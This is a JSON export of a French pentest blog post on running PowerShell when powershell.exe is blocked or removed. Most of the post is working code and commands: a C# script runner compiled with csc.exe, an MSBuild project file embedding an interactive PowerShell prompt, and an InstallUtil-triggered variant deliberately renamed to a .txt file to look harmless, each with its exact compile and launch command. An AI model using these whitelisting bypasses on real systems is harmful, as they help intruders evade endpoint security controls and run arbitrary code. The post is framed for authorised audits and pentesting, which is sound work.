{"id":474,"date":"2019-03-12T22:03:31","date_gmt":"2019-03-12T21:03:31","guid":{"rendered":"http:\/\/pentester.blog\/?p=474"},"modified":"2020-05-21T19:50:18","modified_gmt":"2020-05-21T17:50:18","slug":"executer-du-powershell-sans-powershell","status":"publish","type":"post","link":"https:\/\/hacktarus.fr\/?p=474","title":{"rendered":"Ex\u00e9cuter du powershell sans powershell ?!?"},"content":{"rendered":"\n

Lors d’un audit ou un pentest il peut vous arriver de tomber sur une configuration Windows o\u00f9 l’ex\u00e9cutable powershell.exe est blacklist\u00e9 ou bien supprim\u00e9 du syst\u00e8me.<\/p>\n\n\n\n

Dans ce cas, peut-on quand m\u00eame ex\u00e9cuter des scripts \u00e9crit en powershell ? La r\u00e9ponse est oui.<\/p>\n\n\n\n

Il se trouve que le framework .Net, tr\u00e8s largement pr\u00e9sent, fournit des moyens simples pour appeler des scripts powershell depuis la librairie System.Management.Automation<\/em>.<\/p>\n\n\n\n

En .Net 4, cett DLL se trouve \u00e0 cet endroit : <\/p>\n\n\n\n

C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll<\/pre>\n\n\n\n
En plus, comme pour nous aider, Microsoft fournit avec le framework .Net tout ce qu’il faut pour compiler des programmes. On trouve le compilateur pour le language C# \u00e0 cet endroit :<\/p>\n\n\n\n
C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe
<\/pre>\n\n\n\n
Premi\u00e8re technique, on recr\u00e9e un ex\u00e9cutable capable de lire et d’ex\u00e9cuter des scripts Powershell.<\/em><\/strong><\/p>\n\n\n\n
Rien de bien compliquer, le programme suivant powerless.cs<\/em> fait exactement cela :<\/p>\n\n\n\n
using System.Collections.ObjectModel; \nusing System.Management.Automation; \nusing System.Management.Automation.Runspaces; \nusing System.IO;\nusing System;\nusing System.Text;\nnamespace PSLess\n{\n  class PSLess\n  {\n    static void Main(string[] args)\n    {\n      if(args.Length ==0)\n          Environment.Exit(1);\n      string script=LoadScript(args[0]);\n      string s=RunScript(script);\n      Console.WriteLine(s);\n      Console.ReadKey();\n    }\n  private static string LoadScript(string filename) \n  { \n    string buffer =\"\";\n    try {\n     buffer = File.ReadAllText(filename);\n     }\n    catch (Exception e) \n    { \n      Console.WriteLine(e.Message);\n      Environment.Exit(2);\n     }\n   return buffer;\n  }\n  private static string RunScript(string script) \n  { \n     Runspace MyRunspace = RunspaceFactory.CreateRunspace();\n     MyRunspace.Open();\n     Pipeline MyPipeline = MyRunspace.CreatePipeline(); \n     MyPipeline.Commands.AddScript(script);\n     MyPipeline.Commands.Add(\"Out-String\");\n     Collection<PSObject> outputs = MyPipeline.Invoke();\n     MyRunspace.Close();\n    StringBuilder sb = new StringBuilder(); \n    foreach (PSObject pobject in outputs) \n    { \n        sb.AppendLine(pobject.ToString()); \n    }\n     return sb.ToString(); \n   }\n  }\n }<\/pre>\n\n\n\n
Pour compiler ce programme il faut utiliser csc.exe en lan\u00e7ant la commande suivante :<\/p>\n\n\n\n
csc.exe \/reference:C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll \/out:C:\\powerless.exe C:\\powerless.cs<\/pre>\n\n\n\n
En sortie nous avons donc maintenant un nouvel ex\u00e9cutable, powerless.exe<\/em>, capable de lancer des scripts powershell, testons-le.<\/p>\n\n\n\n
Un petit script test.ps1<\/em> :<\/p>\n\n\n\n
echo \"Hello from powershell-less\"
echo \"PID: $pid\"<\/pre>\n\n\n\n
Et voila, il n’y a plus qu’\u00e0 lancer l’ex\u00e9cution :<\/p>\n\n\n\n
\"\"
Yes \u00e7a fonctionne !<\/figcaption><\/figure>\n\n\n\n
Autre technique, on utilise des ex\u00e9cutables pr\u00e9sent dans le syst\u00e8me, si possible sign\u00e9s par Microsoft, pour lancer les scripts Powershell.<\/em><\/strong><\/p>\n\n\n\n
Commen\u00e7ons par une astuce qui consiste \u00e0 abuser de l’ex\u00e9cutable msbuild <\/strong>(l’\u00e9quivalent du make Linux pour Windows).  On trouve msbuild.exe<\/em> \u00e0 cet endroit :<\/p>\n\n\n\n
C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe<\/pre>\n\n\n\n
 <\/strong>Msbuild prend en entr\u00e9e des projets ayant pour extension .csproj pour les programmes C#.<\/p>\n\n\n\n
Ces projets ne sont en fait que des fichiers XML d\u00e9crivant une liste de t\u00e2ches \u00e0 effectuer. L\u00e0 o\u00f9 cela devient vraiment int\u00e9ressant c’est que Microsoft autorise le lancement de scripts \u00e0 l’int\u00e9rieur m\u00eame du projet ! Quoi de mieux que pour en profiter pour y ins\u00e9rer le fameux powerless \u00e9crit en C# vu pr\u00e9c\u00e9demment.Voici un exemple de projet test.csproj<\/em> incluant un interpr\u00e9teur Powershell complet :<\/p>\n\n\n\n
<Project ToolsVersion=\"4.0\" xmlns=\"http:\/\/schemas.microsoft.com\/developer\/msbuild\/2003\">\n  <Target Name=\"Hello\">\n   <FragmentExample \/>\n   <ClassExample \/>\n  <\/Target>\n  <UsingTask\n    TaskName=\"FragmentExample\"\n    TaskFactory=\"CodeTaskFactory\"\n    AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\" >\n    <ParameterGroup\/>\n    <Task>\n      <Using Namespace=\"System\" \/>\n      <Using Namespace=\"System.IO\" \/>\n      <Code Type=\"Fragment\" Language=\"cs\">\n        <![CDATA[\n                Console.WriteLine(\"Hello From Fragment\");\n        ]]>\n      <\/Code>\n    <\/Task>\n    <\/UsingTask>\n    <UsingTask\n    TaskName=\"ClassExample\"\n    TaskFactory=\"CodeTaskFactory\"\n    AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\" >\n    <Task>\n      <Reference Include=\"System.Management.Automation\" \/>\n      <Code Type=\"Class\" Language=\"cs\">\n        <![CDATA[\n            using System;\n            using System.IO;\n            using System.Diagnostics;\n            using System.Reflection;\n            using System.Runtime.InteropServices;\n            \/\/Add For PowerShell Invocation\n            using System.Collections.ObjectModel;\n            using System.Management.Automation;\n            using System.Management.Automation.Runspaces;\n            using System.Text;\n            using Microsoft.Build.Framework;\n            using Microsoft.Build.Utilities;\n                            \n            public class ClassExample :  Task, ITask\n            {\n                public override bool Execute()\n                {                    \n                    while(true)\n                    {       \n                        Console.Write(\"PS >\");\n                        string x = Console.ReadLine();\n                        try\n                        {\n                            Console.WriteLine(RunPSCommand(x));\n                        }\n                        catch (Exception e)\n                        {\n                            Console.WriteLine(e.Message);\n                        }\n                    }\n                    \n                    return true;\n                }\n                \n                \/\/Based on Jared Atkinson's And Justin Warner's Work\n                public static string RunPSCommand(string cmd)\n                {\n                    \/\/Init stuff\n                    Runspace runspace = RunspaceFactory.CreateRunspace();\n                    runspace.Open();\n                    RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);\n                    Pipeline pipeline = runspace.CreatePipeline();\n                    \/\/Add commands\n                    pipeline.Commands.AddScript(cmd);\n                    \/\/Prep PS for string output and invoke\n                    pipeline.Commands.Add(\"Out-String\");\n                    Collection<PSObject> results = pipeline.Invoke();\n                    runspace.Close();\n                    \/\/Convert records to strings\n                    StringBuilder stringBuilder = new StringBuilder();\n                    foreach (PSObject obj in results)\n                    {\n                        stringBuilder.Append(obj);\n                    }\n                    return stringBuilder.ToString().Trim();\n                }\n                 \n                public static void RunPSFile(string script)\n                {\n                    PowerShell ps = PowerShell.Create();\n                    ps.AddScript(script).Invoke();\n                }   \n            }\n        ]]>\n      <\/Code>\n    <\/Task>\n  <\/UsingTask>\n<\/Project><\/code><\/pre>\n\n\n\n
Il n’y a plus qu’\u00e0 lancer msbuild.exe en passant en param\u00e8tre le projet que nous venons de cr\u00e9er :<\/p>\n\n\n\n
msbuild test.csproj<\/pre>\n\n\n\n
Nous voil\u00e0 dans un interpr\u00e9teur Powershell fait maison !<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
M\u00eame technique mais avec un autre ex\u00e9cutable de Microsoft, cette fois avec le programme installutil.exe.<\/em><\/strong><\/p>\n\n\n\n
Ce programme sert habituellement \u00e0 enregistrer \/ d\u00e9senregister des services .Net d’un programme. L’astuce consiste \u00e0 \u00e9crire un programme qui impl\u00e9mente la m\u00e9thode Uninstall<\/em> de fa\u00e7on \u00e0 \u00eatre appel\u00e9 par le programme installutil.exe.<\/p>\n\n\n\n
Reprenons le programme powerless.cs vu au tout d\u00e9but et ajoutons lui simplement la m\u00e9thode Uninstall<\/em> dans laquelle nous appelons l’interpr\u00e9teur powershell maison. Le code du programe powerlesstxt.cs<\/em> est le suivant :<\/p>\n\n\n\n
using System.Collections.ObjectModel;\nusing System.Management.Automation;\nusing System.Management.Automation.Runspaces;\nusing System.Runtime.InteropServices;\nusing System.IO;\nusing System;\nusing System.Text;\nusing System.Configuration.Install;\nnamespace PSLess\n{\n [System.ComponentModel.RunInstaller(true)]\n public class InstallUtil : System.Configuration.Install.Installer\n {\n   public override void Uninstall(System.Collections.IDictionary savedState)\n   {\n       string[] args= {this.Context.Parameters[\"ScriptName\"]};\n       PSLess.Main(args);\n    }\n  }\n \nclass PSLess\n {\n   public static void Main(string[] args)\n   {\n     if (args.Length == 0)\n       Environment.Exit(1);\n     string script = LoadScript(args[0]);\n     string s = RunScript(script);\n     Console.WriteLine(s);\n   }\n  private static string LoadScript(string filename)\n  {\n    string buffer = \"\";\n    try\n    {\n     buffer = File.ReadAllText(filename);\n    }\n    catch (Exception e)\n    {\n      Console.WriteLine(e.Message);\n      Environment.Exit(2);\n    }\n    return buffer;\n  }\n  private static string RunScript(string script)\n  {\n    Runspace MyRunspace = RunspaceFactory.CreateRunspace();\n    MyRunspace.Open();\n    Pipeline MyPipeline = MyRunspace.CreatePipeline();\n    MyPipeline.Commands.AddScript(script);\n    MyPipeline.Commands.Add(\"Out-String\");\n    Collection<PSObject> outputs = MyPipeline.Invoke();\n    MyRunspace.Close();\n    StringBuilder sb = new StringBuilder();\n    foreach (PSObject pobject in outputs)\n    {\n     sb.AppendLine(pobject.ToString());\n    }\n    return sb.ToString();\n  }\n }\n}<\/code><\/pre>\n\n\n\n
Il faut maintenant compiler ce programme C# avec cscs.exe, avec en prime un changement d’extension pour faire croire qu’il s’agit d’un fichier texte, en sortie nous avons le fichier powerless.txt<\/em> :<\/p>\n\n\n\n
csc.exe \/reference:C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll \/out:C:\\powerless.txt C:\\powerlesstxt.cs<\/pre>\n\n\n\n
Reste \u00e0 appeler installutil.exe<\/em> avec les bons param\u00e8tres et le tour est jou\u00e9, le script de test est bien ex\u00e9cut\u00e9 !<\/p>\n\n\n\n
installutil  \/logfile= \/LogToConsole=false \/ScriptName=C:\\test.ps1 \/U powerless.txt<\/pre>\n\n\n\n
\"\"<\/figure>\n","protected":false},"excerpt":{"rendered":"
Lors d’un audit ou un pentest il peut vous arriver de tomber sur une configuration Windows o\u00f9 l’ex\u00e9cutable powershell.exe est blacklist\u00e9 ou bien supprim\u00e9 du syst\u00e8me. Dans ce cas, peut-on quand m\u00eame ex\u00e9cuter des scripts \u00e9crit en powershell ? La r\u00e9ponse est oui. Il se trouve que le framework .Net, tr\u00e8s largement pr\u00e9sent, fournit des … Continuer la lecture de Ex\u00e9cuter du powershell sans powershell ?!?<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-474","post","type-post","status-publish","format-standard","hentry","category-pentest"],"_links":{"self":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/474","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=474"}],"version-history":[{"count":40,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/474\/revisions"}],"predecessor-version":[{"id":528,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/474\/revisions\/528"}],"wp:attachment":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=474"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=474"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=474"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}